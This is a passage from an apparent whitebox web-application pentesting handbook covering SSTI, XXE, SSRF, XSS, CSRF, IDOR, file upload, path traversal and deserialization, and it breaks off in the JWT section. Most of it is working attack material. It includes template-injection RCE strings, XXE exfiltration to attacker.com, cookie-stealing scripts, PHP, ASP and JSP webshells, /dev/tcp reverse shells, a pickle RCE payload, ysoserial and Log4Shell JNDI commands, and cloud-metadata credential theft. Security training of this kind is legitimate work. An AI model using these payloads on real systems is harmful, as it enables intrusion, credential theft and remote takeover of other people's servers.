{{ ''.__class__.__mro__[1].__subclasses__() }}
# RCE via subprocess.Popen:
{{ ''.__class__.__mro__[1].__subclasses__()[439]('id', shell=True, stdout=-1).communicate()[0] }}
# Note: index 439 is approximate — enumerate subclasses to find Popen
# Cleaner RCE:
{{ self.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
# config object (Flask):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Request object:
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
// ─── Freemarker (Java) ─ RCE ───
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
// Or:
${product.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# ─── Twig (PHP) ─ RCE ───
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{["id"]|filter("system")}}
{{["id", "0"]|sort("system")}}
# ─── Tools ───
# tplmap (automated SSTI exploitation)
git clone https://github.com/epinna/tplmap
python3 tplmap.py -u "http://target.com/greet?name=*"
python3 tplmap.py -u "http://target.com/greet?name=*" --os-shell
python3 tplmap.py -u "http://target.com/greet?name=*" --os-cmd "id"
9. XML External Entity Injection (XXE)
What it means: XXE occurs when an XML parser processes external entity references in user-supplied XML. The entity can reference local files (arbitrary file read), internal services (SSRF), or cause DoS. In whitebox testing, search for every XML parsing call.
9.1 Identifying Vulnerable Code
# ─── Python: lxml / xml.etree ───
# VULNERABLE: external entities enabled
import lxml.etree as ET
tree = ET.fromstring(user_xml) # lxml has external entity support!
import xml.etree.ElementTree as ET
tree = ET.fromstring(user_xml) # python's built-in is safe by default
# BUT: defusedxml is recommended
# SAFE: use defusedxml
import defusedxml.ElementTree as ET
tree = ET.fromstring(user_xml) # external entities disabled
// ─── Java: most parsers are VULNERABLE by default ───
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// VULNERABLE: no XXE protection
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(inputStream);
// SAFE: disable external entities
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
// ─── PHP: libxml ───
// VULNERABLE:
$doc = new DOMDocument();
$doc->loadXML($user_xml); // external entities loaded by default!
// SAFE:
libxml_disable_entity_loader(true); // disable before parsing
$doc = new DOMDocument();
$doc->loadXML($user_xml, LIBXML_NOENT); // LIBXML_NOENT + entity loader disabled
9.2 XXE Payloads
<!-- ─── Basic file read ─── -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- ─── Windows file read ─── -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<!-- ─── SSRF via XXE ─── -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<!-- ─── Blind XXE via OOB (DNS/HTTP) ─── -->
<!-- Step 1: host malicious.dtd on your server ─── -->
<!-- malicious.dtd contents:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
-->
<!-- Step 2: Payload in request: ─── -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd">
%remote;
]>
<root/>
<!-- ─── Parameter entity (for blind XXE) ─── -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<!-- ─── Error-based XXE ─── -->
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<!-- ─── XXE via file upload (SVG/DOCX/XLSX) ─── -->
<!-- SVG with XXE: -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
9.3 XXE via Non-XML Formats
# ─── Formats that internally parse XML (attack surface often missed) ───
# DOCX/XLSX/PPTX: Office Open XML format → ZIP containing XML
# SVG images parsed as XML
# SAML assertions (XML signed tokens)
# RSS/Atom feeds
# GraphQL multipart with XML embedded
# PDF with embedded XML metadata
# ─── DOCX XXE ───
# Unzip a .docx: unzip doc.docx -d docx_contents/
# Edit word/document.xml to inject XXE entity
# Re-zip: cd docx_contents && zip -r ../evil.docx *
# Upload the modified .docx
# ─── SAML XXE ───
# Intercept SAML assertion (usually base64 encoded)
# Decode: echo "BASE64" | base64 -d
# Inject XXE entity in the XML
# Re-encode: cat modified.xml | base64 | tr -d '\n'
10. Server-Side Request Forgery (SSRF)
What it means: SSRF occurs when a server makes HTTP requests based on user-supplied input. An attacker can point the server at internal services (cloud metadata, internal APIs, database admin interfaces), bypass firewalls, and in some cases achieve RCE. Whitebox gives you the advantage of knowing exactly which internal IPs and services exist.
10.1 Identifying SSRF Sinks in Code
# ─── Python: requests / urllib / httpx ───
grep -rn "requests\.get\|requests\.post\|requests\.request\|urllib\.request\|httpx\." \
--include="*.py" . | grep -v "# "
# ─── JavaScript: axios / fetch / node-fetch / got ───
grep -rn "axios\.\|fetch(\|node-fetch\|got(\|http\.get\|https\.get" \
--include="*.js" . | grep -v "// "
# ─── PHP: curl / file_get_contents with URL ───
grep -rn "curl_setopt.*CURLOPT_URL\|file_get_contents\s*(\s*\$\|fopen\s*(\s*\$" \
--include="*.php" .
# ─── Java: URL / HttpClient / RestTemplate ───
grep -rn "new URL(\|RestTemplate\|HttpClient\|OkHttpClient" \
--include="*.java" . | grep -v "// "
# Red flag: user input flows directly into any of these
10.2 SSRF Payloads
# ─── Basic internal service probing ───
http://localhost/admin
http://127.0.0.1:8080/internal-api
http://0.0.0.0:3306 # MySQL
http://0.0.0.0:6379 # Redis
http://[::1]:80 # IPv6 localhost
# ─── Cloud metadata endpoints ───
http://169.254.169.254/latest/meta-data/ # AWS EC2
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS creds!
http://169.254.169.254/latest/user-data # cloud-init data, often has secrets
http://metadata.google.internal/computeMetadata/v1/ # GCP (needs header)
http://169.254.169.254/metadata/instance # Azure
http://100.100.100.200/latest/meta-data/ # Alibaba Cloud
# ─── SSRF filter bypass ───
# Domain-based bypass (attacker.com → 127.0.0.1):
http://attacker.com@127.0.0.1/ # URL userinfo syntax
http://127.0.0.1#attacker.com/ # fragment
http://attacker.com.127.0.0.1/ # subdomain trick (if wildcard)
# IP encoding bypass:
http://2130706433/ # 127.0.0.1 as decimal
http://0177.0.0.1/ # 127.0.0.1 as octal
http://0x7f.0x0.0x0.0x1/ # 127.0.0.1 as hex
http://127.1/ # short form
# Protocol smuggling:
dict://127.0.0.1:6379/info # Redis command via dict://
file:///etc/passwd # local file read
gopher://127.0.0.1:6379/_*1%0d%0a... # gopher protocol for Redis RCE
# ─── Blind SSRF detection ───
# Use Burp Collaborator or interactsh:
# Inject: http://YOUR_COLLABORATOR_URL
# If DNS/HTTP ping received → SSRF confirmed
interactsh-client # start listener
# Use: http://RANDOM.interactsh.com
10.3 SSRF to RCE (via Internal Services)
# ─── Redis RCE via gopher SSRF ───
# Gopher payload to write a crontab via Redis:
# Must URL-encode the gopher URL
python3 gopherus.py --exploit redis # gopherus tool generates payload
# Then inject into SSRF parameter
# ─── Memcached injection via SSRF ───
gopher://127.0.0.1:11211/_set key 0 3600 5%0d%0avalue
# ─── AWS IMDSv1 credential theft ───
# Step 1: get role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Step 2: get credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns: AccessKeyId, SecretAccessKey, Token → configure aws cli!
aws configure
# Use stolen credentials to access S3, EC2, etc.
11. Cross-Site Scripting (XSS)
What it means: XSS occurs when user input is rendered in the browser without proper encoding, allowing injection of arbitrary JavaScript. In whitebox, you can trace every place where user data is rendered in templates and check whether HTML encoding is applied.
11.1 XSS Types
┌──────────────────────────────────────────────────────────────────────┐
│ XSS TYPES │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ Reflected XSS │
│ ├─ Payload in request → immediately reflected in response │
│ ├─ Not stored on server │
│ ├─ Requires victim to click a crafted URL │
│ └─ Example: /search?q=<script>alert(1)</script> │
│ │
│ Stored XSS (Persistent) │
│ ├─ Payload stored in DB, rendered to all users │
│ ├─ Most dangerous → no user interaction needed (just visit page) │
│ └─ Example: comment/post field, username, bio │
│ │
│ DOM-based XSS │
│ ├─ Payload processed purely in browser JavaScript │
│ ├─ Server never sees the payload │
│ ├─ Source: location.hash, document.URL, location.search │
│ └─ Sink: innerHTML, eval(), document.write() │
│ │
│ Blind XSS │
│ ├─ Stored XSS that fires in admin panel / logging interface │
│ ├─ You don't see the output — use OOB callback │
│ └─ Tool: XSS Hunter (xsshunter.com) │
│ │
└──────────────────────────────────────────────────────────────────────┘
11.2 Finding XSS in Source Code
# ─── Python/Django: unescaped rendering ───
grep -rn "mark_safe\|SafeData\||safe\|format_html.*%" --include="*.py" --include="*.html" .
# mark_safe() disables auto-escaping → check what goes into it
grep -rn "mark_safe" --include="*.py" . | grep "request\.\|user\.\|input"
# ─── Jinja2/Django templates: unescaped output ───
grep -rn "{{ .* | safe }}\|{%.*autoescape off%}" --include="*.html" .
grep -rn "{% autoescape off %}" --include="*.html" .
# ─── PHP: direct echo ───
grep -rn "echo\s*\$_GET\|echo\s*\$_POST\|echo\s*\$_REQUEST\|print\s*\$_" \
--include="*.php" .
# Should be: echo htmlspecialchars($var, ENT_QUOTES, 'UTF-8')
# ─── JavaScript: dangerous DOM sinks ───
grep -rn "innerHTML\s*=\|outerHTML\s*=\|document\.write\|\.insertAdjacentHTML" \
--include="*.js" --include="*.ts" --include="*.html" .
grep -rn "location\.href\s*=\|location\.replace\|eval(" --include="*.js" .
# ─── React: dangerouslySetInnerHTML ───
grep -rn "dangerouslySetInnerHTML" --include="*.jsx" --include="*.tsx" .
# Every usage of dangerouslySetInnerHTML is a potential XSS
11.3 XSS Payloads & Filter Bypasses
<!-- ─── Basic payloads ─── -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">click</a>
<!-- ─── Filter bypass: case variation ─── -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
<!-- ─── Filter bypass: encoding ─── -->
<img src=x onerror="alert(1)"> <!-- HTML entities -->
<img src=x onerror="\u0061lert(1)"> <!-- Unicode escape -->
<a href="javascript:alert(1)">click</a> <!-- Hex entity -->
<!-- ─── Filter bypass: no quotes ─── -->
<img src=x onerror=alert(1)> <!-- no quotes needed on inline JS -->
<svg/onload=alert`1`> <!-- template literals -->
<!-- ─── Filter bypass: no script keyword ─── -->
<img src=1 onerror=eval(atob('YWxlcnQoMSk='))> <!-- base64 eval -->
<img src=1 onerror=Function`alert\`1\``()>
<!-- ─── Content Security Policy bypass ─── -->
<!-- CSP: script-src 'nonce-XXXX' but JSONP endpoint exists: -->
<script src="/api/jsonp?callback=alert(1)//"></script>
<!-- CSP: script-src cdn.jquery.com — Angular.js CDN CSTI: -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
<!-- ─── Stored XSS in user-controlled fields ─── -->
<!-- Try these in: name, bio, comment, address, company, URL fields -->
"><script>alert(document.cookie)</script>
'><img src=x onerror=alert(document.cookie)>
javascript:alert(1) <!-- in href/src fields -->
<!-- ─── XSS to steal cookies / session tokens ─── -->
<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>
<script>
var x = new XMLHttpRequest();
x.open('GET', 'https://attacker.com/?c=' + document.cookie);
x.send();
</script>
<!-- ─── XSS to CSRF (combine both) ─── -->
<script>
fetch('/api/admin/create-user', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: 'hacker', role: 'admin'})
});
</script>
11.4 DOM XSS — Source to Sink
// ─── Common DOM XSS sources ───
document.URL
document.documentURI
document.URLUnencoded
location.href
location.search // e.g., ?name=value
location.hash // e.g., #anchor
location.pathname
document.referrer
window.name
// ─── Common DOM XSS sinks ───
element.innerHTML = userInput; // XSS
element.outerHTML = userInput; // XSS
document.write(userInput); // XSS
document.writeln(userInput); // XSS
eval(userInput); // code execution
setTimeout(userInput, 0); // code execution
setInterval(userInput, 0); // code execution
new Function(userInput)(); // code execution
element.src = userInput; // if javascript: protocol
location.href = userInput; // open redirect / XSS via javascript:
// ─── Tracing DOM XSS in source ───
// Search for sink functions and trace back to see if source can reach them:
grep -rn "innerHTML\s*=" --include="*.js" .
// Then check what variable is being assigned
// Then trace that variable back to location.* / document.URL etc.
12. Cross-Site Request Forgery (CSRF)
What it means: CSRF forces an authenticated user's browser to make unwanted requests to the app. If the app doesn't verify that the request was intentionally initiated by the user (via CSRF tokens or SameSite cookies), an attacker page can trigger state-changing actions.
12.1 Identifying CSRF Vulnerabilities in Code
# ─── Check CSRF protection is enabled ───
# Django: is CsrfViewMiddleware enabled?
grep -rn "CsrfViewMiddleware\|csrf_exempt\|@csrf_exempt" --include="*.py" .
# csrf_exempt on a state-changing endpoint = CSRF vulnerability
# Flask: using Flask-WTF or flask-seasurf?
grep -rn "WTF_CSRF\|SeaSurf\|CSRFProtect" --include="*.py" .
grep -rn "@csrf.exempt\|csrf_token" --include="*.py" --include="*.html" .
# Node.js: csurf middleware?
grep -rn "csurf\|csrf()\|_csrf" --include="*.js" .
# Rails: protect_from_forgery?
grep -rn "protect_from_forgery\|skip_before_action.*verify_authenticity" \
--include="*.rb" .
# PHP: manual token check?
grep -rn "csrf_token\|_token\|\$_SESSION\['token'\]" --include="*.php" .
# ─── Check if CSRF token actually validated (not just present) ───
grep -rn "def.*post\|@app.route.*POST\|router.post" --include="*.py" \
--include="*.js" . | head -20
# For each POST handler: is CSRF token verified?
12.2 CSRF PoC Generation
<!-- ─── Basic HTML form CSRF ─── -->
<!-- Triggers a POST request from victim's browser -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://target.com/api/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
</body>
</html>
<!-- ─── JSON CSRF (when endpoint expects JSON) ─── -->
<!-- Standard form can't send Content-Type: application/json -->
<!-- BUT: some endpoints accept both — test with form/urlencoded too -->
<form action="https://target.com/api/change-role" method="POST"
enctype="text/plain">
<input name='{"role":"admin","x":"' value='"}'>
</form>
<!-- Sends: {"role":"admin","x":"="} — valid JSON that some parsers accept -->
<!-- ─── CSRF via XHR (if CORS misconfigured) ─── -->
<script>
var req = new XMLHttpRequest();
req.open('POST', 'https://target.com/api/delete-account', true);
req.withCredentials = true;
req.setRequestHeader('Content-Type', 'application/json');
req.send(JSON.stringify({confirm: true}));
</script>
<!-- ─── Burp auto-generate CSRF PoC ─── -->
<!-- Right-click any request in Burp → Engagement tools → Generate CSRF PoC -->
12.3 SameSite Cookie Bypass
# ─── Check SameSite attribute in code ───
grep -rn "SameSite\|samesite\|same_site" --include="*.py" --include="*.js" \
--include="*.php" .
# SameSite=None + Secure → CSRF possible from any origin
# SameSite=Lax → CSRF via top-level navigation GET (not POST)
# SameSite=Strict → most restrictive, hardest to bypass
# ─── SameSite=Lax bypass (GET CSRF) ───
# Only works for GET requests that cause state changes (bad practice):
<img src="https://target.com/api/delete-post?id=42">
<a href="https://target.com/api/logout">Click here</a>
# ─── Chrome's Lax-by-default bypass window ───
# Chrome sets Lax by default for cookies without SameSite attribute
# BUT: there's a 2-minute window where new cookies are treated as None
# So: if user just logged in and you act within 2 minutes → CSRF works
# (impractical but worth knowing)
13. Insecure Direct Object Reference (IDOR) & Mass Assignment
What it means: IDOR occurs when the app exposes direct references to internal objects (like database IDs) without verifying that the current user has access to that specific object. Mass assignment occurs when the app blindly assigns all request parameters to a model object, allowing attackers to set fields they shouldn't be able to (like role, is_admin).
13.1 IDOR Systematic Testing
# ─── Step 1: Identify all object references ───
# In Burp: look for any numeric IDs, UUIDs, hashes in:
# - URL path: /api/users/42/profile
# - Query params: ?order_id=1234
# - Request body: {"document_id": "abc-123-xyz"}
# ─── Step 2: Determine the object type ───
# Cross-reference with DB schema: which table does this ID reference?
# ─── Step 3: Test horizontal IDOR ───
# Log in as User A (id=100), access User B's resource (id=101)
# If accessible → IDOR
# ─── Step 4: Test vertical IDOR ───
# Regular user accessing admin resources:
# GET /api/admin/users → 403? Or 200?
# GET /api/reports/all → should require admin
# ─── Step 5: Hash/encode analysis ───
# Find hashing in source:
grep -rn "hashids\|sqids\|base62\|uuid\|nanoid" --include="*.py" --include="*.js" .
# hashids: deterministic → decode then re-encode different IDs
pip install hashids
python3 -c "from hashids import Hashids; h=Hashids(salt='FOUND_SALT'); print(h.decode('abc123'))"
# ─── Automated: Burp Autorize ───
# 1. Login as User A
# 2. Set User B's token in Autorize header
# 3. Browse entire app as User A
# 4. Every request replayed with User B's token
# 5. "Bypassed!" highlights → manual verify
13.2 Mass Assignment
# ─── VULNERABLE: Django ───
class UserUpdateView(UpdateView):
model = User
fields = '__all__' # ← allows setting ANY field including is_admin, role!
# ─── SAFE: whitelist fields ───
class UserUpdateView(UpdateView):
model = User
fields = ['username', 'email', 'bio'] # only these can be updated
# ─── VULNERABLE: DRF (Django REST Framework) ───
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
fields = '__all__' # ← DANGEROUS
# ─── SAFE: exclude sensitive fields ───
class UserSerializer(serializers.ModelSerializer):
class Meta:
model = User
exclude = ['is_admin', 'role', 'password']
# Or: explicit fields list
// ─── VULNERABLE: Express + Mongoose ───
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body); // MASS ASSIGNMENT!
// req.body could contain: { role: 'admin', is_verified: true }
});
// ─── SAFE: whitelist allowed fields ───
app.put('/api/users/:id', async (req, res) => {
const { username, email, bio } = req.body; // destructure only allowed fields
const user = await User.findByIdAndUpdate(req.params.id, { username, email, bio });
});
# ─── Dynamic testing: mass assignment ───
# 1. Make a normal update request in Burp
# 2. Add extra fields from the DB schema: role=admin, is_admin=true, is_verified=true
# 3. If accepted without error AND persisted → mass assignment
# Example: PATCH /api/user/profile
# Normal: {"username": "zoro", "bio": "hello"}
# Attack: {"username": "zoro", "bio": "hello", "role": "admin", "is_admin": true}
14. File Upload Vulnerabilities
What it means: File upload functionality is one of the highest-risk features in web apps. If an attacker can upload a malicious file and get it executed (webshell), that's RCE. In whitebox testing, you can see exactly what validation the code does — and find ways around it.
14.1 Identifying Upload Validation in Code
# ─── Python: what does validation check? ───
grep -rn "content_type\|mimetype\|allowed_extensions\|ALLOWED_EXTENSIONS\|magic\|filetype" \
--include="*.py" .
grep -rn "\.name\.endswith\|filename\.split\|\. rfind\|os\.path\.splitext" \
--include="*.py" .
# Categories of validation:
# 1. Extension-only check (bypassable with double extensions)
# 2. MIME type check from Content-Type header (bypassable — client-controlled)
# 3. Magic bytes check (actual file header — harder to bypass but still possible)
# 4. All three + server-side enforcement (most secure)
# ─── VULNERABLE: extension-only check ───
ALLOWED = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower() # only checks last extension!
if ext not in ALLOWED:
abort(400)
# Bypass: shell.php.jpg (Apache might execute if AddHandler misconfigured)
# Bypass: shell.php%00.jpg (null byte truncation in old PHP)
# Bypass: shell.phtml, shell.php5, shell.phar
# ─── VULNERABLE: MIME check only ───
if file.content_type not in ['image/jpeg', 'image/png']:
abort(400)
# Bypass: change Content-Type header in Burp to image/jpeg while uploading PHP shell
14.2 Bypass Techniques
# ─── Extension bypasses ───
shell.php → obvious (blocked)
shell.php5 → PHP 5 handler
shell.phtml → PHP HTML
shell.phar → PHP archive
shell.shtml → Apache SSI
shell.php.jpg → double extension (Apache may execute)
shell.php%00.jpg → null byte (PHP < 5.3)
shell.PHP → case variation (Windows servers)
shell.php. → trailing dot (Windows strips it)
shell.ph\np → URL-encoded newline in extension
# ─── Magic bytes bypass (prepend real image header to PHP) ───
# Image header + PHP code:
printf '\xff\xd8\xff\xe0' > evil.php # JPEG magic bytes
echo '<?php system($_GET["cmd"]); ?>' >> evil.php
# → passes magic byte check, file has PHP code after header
# Using exiftool to embed PHP in image metadata:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg
mv legit.jpg shell.jpg.php
# ─── Content-Type bypass (Burp intercept) ───
# Intercept upload request:
# Change: Content-Type: application/x-php
# To: Content-Type: image/jpeg
# Server checks header → thinks it's an image
# ─── Path traversal in filename ───
filename = "../../../var/www/html/shell.php"
# URL-encoded: ..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php
# If server doesn't sanitize filename → file written outside upload dir!
# ─── Zip slip (archive upload) ───
# Create zip with path traversal filename:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as zf:
zf.write('shell.php', '../../../var/www/html/shell.php')
"
# Upload zip → if server extracts without sanitizing → shell written to webroot!
14.3 Webshell Payloads
// ─── Minimal PHP webshell ───
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['x']); ?>
<?php eval($_POST['code']); ?> // can run arbitrary PHP
// ─── Obfuscated (bypass content scanners) ───
<?php $f=$_POST[0];$f($_POST[1]); ?>
// Usage: POST data: 0=system&1=id
// ─── One-liner for curl ───
// After uploading shell.php:
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat+/etc/passwd"
curl "http://target.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.10/4444+0>%261'"
<!-- ASP webshell -->
<%
Dim cmd
cmd = Request.QueryString("cmd")
If cmd <> "" Then
Dim oShell
Set oShell = CreateObject("WScript.Shell")
Response.Write(oShell.Exec(cmd).StdOut.ReadAll())
End If
%>
<!-- JSP webshell -->
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line + "<br>");
}
%>
15. Path Traversal & LFI / RFI
What it means: Path traversal allows an attacker to read files outside the intended directory by manipulating file path parameters. Local File Inclusion (LFI) in PHP can go further — not just reading files, but including and executing them. Remote File Inclusion (RFI) includes files from attacker-controlled URLs (requires allow_url_include=On, rare in modern PHP).
15.1 Identifying Vulnerable Code
# ─── Python: dangerous file operations ───
# VULNERABLE:
filename = request.GET.get('file')
with open(f"/var/www/uploads/{filename}") as f: # path traversal!
return f.read()
# SAFE: use os.path.realpath + basedir check
import os
BASE_DIR = "/var/www/uploads"
def safe_open(filename):
full_path = os.path.realpath(os.path.join(BASE_DIR, filename))
if not full_path.startswith(BASE_DIR): # basedir check
raise PermissionError("Path traversal detected")
return open(full_path).read()
// ─── PHP: LFI ───
// VULNERABLE:
include($_GET['page']); // direct LFI
include("includes/" . $_GET['page']); // partial path LFI
require($_GET['file'] . ".php"); // appends .php (bypassed with null byte in old PHP)
// SAFE:
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) { die("Invalid page"); }
include("pages/" . $page . ".php");
15.2 Payloads
# ─── Basic traversal ───
../../../etc/passwd
..\..\..\windows\win.ini # Windows
....//....//....//etc/passwd # double-dot bypass for some filters
..%2F..%2F..%2Fetc%2Fpasswd # URL-encoded
..%252F..%252Fetc%252Fpasswd # double URL-encoded
..%c0%af..%c0%afetc%c0%afpasswd # overlong UTF-8 (old IIS)
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd # full URL encoding
# ─── Interesting files to read ───
/etc/passwd # user list
/etc/shadow # password hashes (needs root)
/etc/hosts # internal hostnames
/proc/self/environ # environment variables (may contain secrets)
/proc/self/cmdline # how the process was started
/proc/self/fd/0 # stdin
~/.ssh/id_rsa # SSH private key
~/.bash_history # command history
/var/www/html/config.php # web app config
/etc/nginx/nginx.conf # nginx config
/etc/apache2/sites-enabled/* # Apache config
C:\Windows\win.ini # Windows basic check
C:\Windows\System32\drivers\etc\hosts # Windows hosts file
C:\inetpub\wwwroot\web.config # IIS config
# ─── PHP LFI to RCE techniques ───
# Method 1: Log poisoning (Apache/Nginx access log)
# Step 1: Inject PHP code into User-Agent header:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step 2: Include the log file:
curl "http://target.com/page.php?file=../../../var/log/apache2/access.log&cmd=id"
# Method 2: /proc/self/environ
# If PHP is running in CGI mode: inject PHP into User-Agent then include:
curl "http://target.com/page.php?file=/proc/self/environ"
# environ contains User-Agent → PHP executed
# Method 3: PHP session file inclusion
# Set PHP session value to PHP code:
# PHPSESSID is stored in /var/lib/php/sessions/sess_SESSIONID
curl -b "PHPSESSID=abc123" "http://target.com/page.php?name=<?php system(\$_GET['cmd']); ?>"
curl "http://target.com/page.php?file=/var/lib/php/sessions/sess_abc123&cmd=id"
# Method 4: PHP filter wrapper (read PHP source without execution)
curl "http://target.com/page.php?file=php://filter/convert.base64-encode/resource=config.php"
# Decode: echo "BASE64" | base64 -d
# Method 5: PHP data:// wrapper (RCE directly)
curl "http://target.com/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
# (data:// requires allow_url_include=On)
16. Insecure Deserialization
What it means: Deserialization converts serialized data (bytes/JSON/XML) back into objects. If the app deserializes user-supplied data without validation, an attacker can provide a crafted serialized object that triggers arbitrary code execution upon deserialization. This is a critical RCE class found in Java, Python (pickle), PHP, .NET, and Ruby.
16.1 Identifying Serialization in Code
# ─── Python: pickle ───
grep -rn "pickle\.loads\|pickle\.load\|cPickle" --include="*.py" .
# If user data reaches pickle.loads → RCE
# ─── Python: PyYAML ───
grep -rn "yaml\.load\b" --include="*.py" . # yaml.load(data) without Loader=
# SAFE: yaml.safe_load() or yaml.load(data, Loader=yaml.SafeLoader)
# ─── Java: ObjectInputStream ───
grep -rn "ObjectInputStream\|readObject\|XMLDecoder\|XStream" --include="*.java" .
# ─── PHP: unserialize ───
grep -rn "unserialize\s*(" --include="*.php" .
# If user data reaches unserialize() → RCE via POP chain
# ─── .NET: BinaryFormatter ───
grep -rn "BinaryFormatter\|NetDataContractSerializer\|SoapFormatter" \
--include="*.cs" .
# ─── Node.js: node-serialize ───
grep -rn "node-serialize\|unserialize(" --include="*.js" .
# node-serialize is known to be vulnerable
16.2 Exploitation
# ─── Python pickle RCE ───
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"',))
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
print(encoded) # send this as the cookie/param value
# Server runs: pickle.loads(base64.b64decode(value)) → executes os.system() call!
# ─── Java deserialization: ysoserial ───
# Download: https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0
java -jar ysoserial.jar CommonsCollections6 'bash -c {bash,-i,>&,/dev/tcp/10.10.10.10/4444,0>&1}'
# Available gadget chains (check which library is in the classpath):
java -jar ysoserial.jar --help
# CommonsCollections1-7, Spring1/2, Groovy1/2, BeanShell1, ROME, etc.
# ─── Detecting Java deserialization in traffic ───
# Serialized Java object starts with: ac ed 00 05 (hex) or rO0A (base64)
grep -r "rO0A\|aced0005" cookies headers --include="*.log" .
# ─── JNDI injection (Log4Shell: CVE-2021-44228) ───
# Payload injected into any logged field (username, User-Agent, etc.):
${jndi:ldap://attacker.com/a}
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker.com/a} # bypass
# Setup JNDI exploit server:
git clone https://github.com/veracode-research/rogue-jndi
java -jar rogue-jndi.jar -c "id" -n attacker.com
# Or: marshalsec / JNDI-Exploit-Kit
# ─── PHP deserialization: PHPGGC (PHP gadget chains) ───
git clone https://github.com/ambionics/phpggc
php phpggc -l # list gadget chains
php phpggc Laravel/RCE1 system id # generate payload
php phpggc Laravel/RCE1 system id -b # base64 encoded
# Available chains: Laravel, Symfony, Yii, Drupal, Magento, etc.
17. JWT Attacks
What it means: JSON Web Tokens are used for stateless authentication. A JWT has three parts: Header.Payload.Signature. If the signature verification is weak or can be bypassed, an attacker can forge tokens with arbitrary claims (e.g., "role":"admin").
17.1 JWT Structure & Attacks
┌──────────────────────────────────────────────────────────────────────┐
│ JWT ATTACK TREE │
├──────────────────────────────────────────────────────────────────────┤
│ │
│ Header.Payload.Signature │
│ │
│ Attack 1: "alg": "none" │
│ └── Set algorithm to none, remove signature │
│ eyJ... header → base64({"alg":"none","typ":"JWT"}) │
│ eyJ... payload → base64({"role":"admin"}) │
│ (empty signature) │
│ │
│ Attack 2: HS256 → RS256 confusion │
│ └── Server uses RS256, attacker signs with HS256 using │
│ the RS256 PUBLIC KEY as the HMAC secret │
│ │
│ Attack 3: Weak secret brute force │
│ └── HS256 with weak secret ("secret", "password", app name) │
│ → crack with hashcat or jwt-cracker │
│ │
│ Attack 4: JWK header injection │
│ └── Inject your own JWK (public key) in the token header, │
│ sign with corresponding private key │
│ │
│ Attack 5: kid parameter injection │
│ └── "kid" header parameter used to select signing key from DB/FS │
